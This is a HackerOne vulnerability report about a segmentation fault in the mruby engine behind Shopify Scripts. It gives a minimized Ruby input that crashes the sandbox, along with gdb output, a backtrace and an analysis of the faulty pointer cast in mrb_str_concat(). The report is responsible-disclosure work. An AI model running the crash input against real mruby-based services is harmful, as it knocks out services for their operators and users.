shopify-scripts: SIGSEGV on mruby mrb_str_modify() (Invalid memory access)

ID H1:183231
Type hackerone
Reporter jpenalbae
Modified 2016-12-17T02:30:01


There is an invalid memory read on mruby when calling to mrb_str_modify() with a invalid RString * which causes a SIGSEGV and leads to denial of service.


The following code triggers the bug (attached as mrb_str_modify.min.rb): ```ruby def n if $0 end ""if 00end{|*x|x.join} qqq.("",<<000,"", 000 "") qqq.("","#{<<000}", 000 "") 0[<<0000,


0000 0000 0] ```


Here we can see the crash (full crash output attached) ``` $ bin/sandbox /tmp/mrb_str_modify.min.rb bin/sandbox:21: [BUG] Segmentation fault at 0x00000000000001 ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

-- Control frame information ----------------------------------------------- c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval c:0002 p:0201 s:0005 E:000518 EVAL bin/sandbox:21 [FINISH] c:0001 p:0000 s:0002 E:000730 (none) [FINISH]

-- Ruby level backtrace information ---------------------------------------- bin/sandbox:21:in &lt;main&gt;' bin/sandbox:21:insandbox_eval'

-- Machine register context ------------------------------------------------ RIP: 0x00007f423c11d17b RBP: 0x00007f423ac954e0 RSP: 0x00007f423ac93a80 RAX: 0x0000000000000002 RBX: 0x0000000000000001 RCX: 0x00007f423aca7b00 RDX: 0x00007f423ac9cf80 RDI: 0x00007f423ac954e0 RSI: 0x0000000000000001 R8: 0x00007f423ac953e0 R9: 0x00007f423acbc6a0 R10: 0x0000000000000330 R11: 0x00007f423c11e670 R12: 0x00007f423ac954e0 R13: 0x00007f423ac9cf80 R14: 0x00007f423ac954e0 R15: 0x000000000100c03e EFL: 0x0000000000010202

-- C level backtrace information ------------------------------------------- /usr/lib/x86_64-linux-gnu/ [0x7f424042dea5] /usr/lib/x86_64-linux-gnu/ [0x7f424042e0dc] /usr/lib/x86_64-linux-gnu/ [0x7f4240308364] /usr/lib/x86_64-linux-gnu/ [0x7f42403b9dbe] /lib/x86_64-linux-gnu/ [0x7f424008ced0] /home/jaime/research/shopy/mruby-engine/lib/mruby_engine/ [0x7f423c11d17b] /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:659 /home/jaime/research/shopy/mruby-engine/lib/mruby_engine/ [0x7f423c11e688] /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:758 /home/jaime/research/shopy/mruby-engine/lib/mruby_engine/ [0x7f423c12e7d3] /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/vm.c:2219 /home/jaime/research/shopy/mruby-engine/lib/mruby_engine/ [0x7f423c132567] /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766 /home/jaime/research/shopy/mruby-engine/lib/mruby_engine/ [0x7f423c106173] ../../../../ext/mruby_engine/eval_monitored.c:68 /lib/x86_64-linux-gnu/ [0x7f4240083464] /lib/x86_64-linux-gnu/ [0x7f423f3ff30d] ```

Crash debug

``` (gdb) r Starting program: /usr/bin/ruby /home/jaime/research/shopy/mruby-engine/bin/sandbox /tmp/mrb_str_modify.min.rb [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/". [New Thread 0x7ffff7ff5700 (LWP 30942)] [New Thread 0x7ffff2348700 (LWP 30993)]

Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff2348700 (LWP 30993)] mrb_str_modify (mrb=mrb@entry=0x7ffff23494e0, s=s@entry=0x1) at /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:660 660 check_frozen(mrb, s); (gdb) x/1i $rip => 0x7ffff37d117b <mrb_str_modify+11>: mov eax,DWORD PTR [rsi] (gdb) i r rsi rsi 0x1 1 (gdb) print (mrb_value)$rsi $1 = { value = { p = 0x1, { i_flag = 1, i = 0 }, { sym_flag = 1, sym = 0 }, bp = 0x1, fp = 0x1, vp = 0x1 }, w = 1 } (gdb) list $rip 0x7ffff37d117b is in mrb_str_modify (/home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:504). 499 } 500 501 static void 502 check_frozen(mrb_state mrb, struct RString *s) 503 { 504 if (RSTR_FROZEN_P(s)) { 505 mrb_raise(mrb, E_RUNTIME_ERROR, "can't modify frozen string"); 506 } 507 } 508 (gdb) ```

Backtrace ``` (gdb) bt

0 mrb_str_modify (mrb=mrb@entry=0x7ffff23494e0, s=s@entry=0x1) at /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:660

1 0x00007ffff37d2688 in mrb_str_concat (mrb=mrb@entry=0x7ffff23494e0, self=..., other=...) at /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/string.c:758

2 0x00007ffff37e27d3 in mrb_vm_exec (mrb=mrb@entry=0x7ffff23494e0, proc=<optimized out>, proc@entry=0x7ffff2351310, pc=<optimized out>) at /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/vm.c:2219

3 0x00007ffff37e6567 in mrb_vm_run (mrb=0x7ffff23494e0, proc=0x7ffff2351310, self=..., stack_keep=stack_keep@entry=0) at /home/jaime/research/shopy/mruby-engine/ext/mruby_engine/mruby/src/vm.c:766

4 0x00007ffff37ba173 in mruby_engine_monitored_eval (data=0x7ffff23493e0) at ../../../../ext/mruby_engine/eval_monitored.c:68

5 0x00007ffff7737464 in start_thread (arg=0x7ffff2348700) at pthread_create.c:333

6 0x00007ffff6ab330d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109


The crash happens at mruby-engine/ext/mruby_engine/mruby/src/string.c:504 which is built inline c static void check_frozen(mrb_state *mrb, struct RString *s) { if (RSTR_FROZEN_P(s)) { // &lt;-- Bug happens here mrb_raise(mrb, E_RUNTIME_ERROR, "can't modify frozen string"); } }

Actually mrb_str_concat() performs a cast of the argument mrb_value self to a RString * pointer, this generates an invalid pointer which is passed to mrb_str_modify() and later on to check_frozen() which tries to read from it and produces the crash.


Its impact seems to be DoS of the service running the sandbox service. I doubt this would be exploitable, but I have seen the memory address being read change in between samples. If an attacker would be able to control this value it could lead to a write-what-where type vulnerability. But I highly doubt this would be possible to control.

Samples generating different invalid addresses have been attached. $ bin/sandbox /tmp/mrb_str_modify.rb 2&gt;&1 | head -1 bin/sandbox:21: [BUG] Segmentation fault at 0x00000000000003 $ bin/sandbox /tmp/mrb_str_modify.min.rb 2&gt;&1 | head -1 bin/sandbox:21: [BUG] Segmentation fault at 0x00000000000001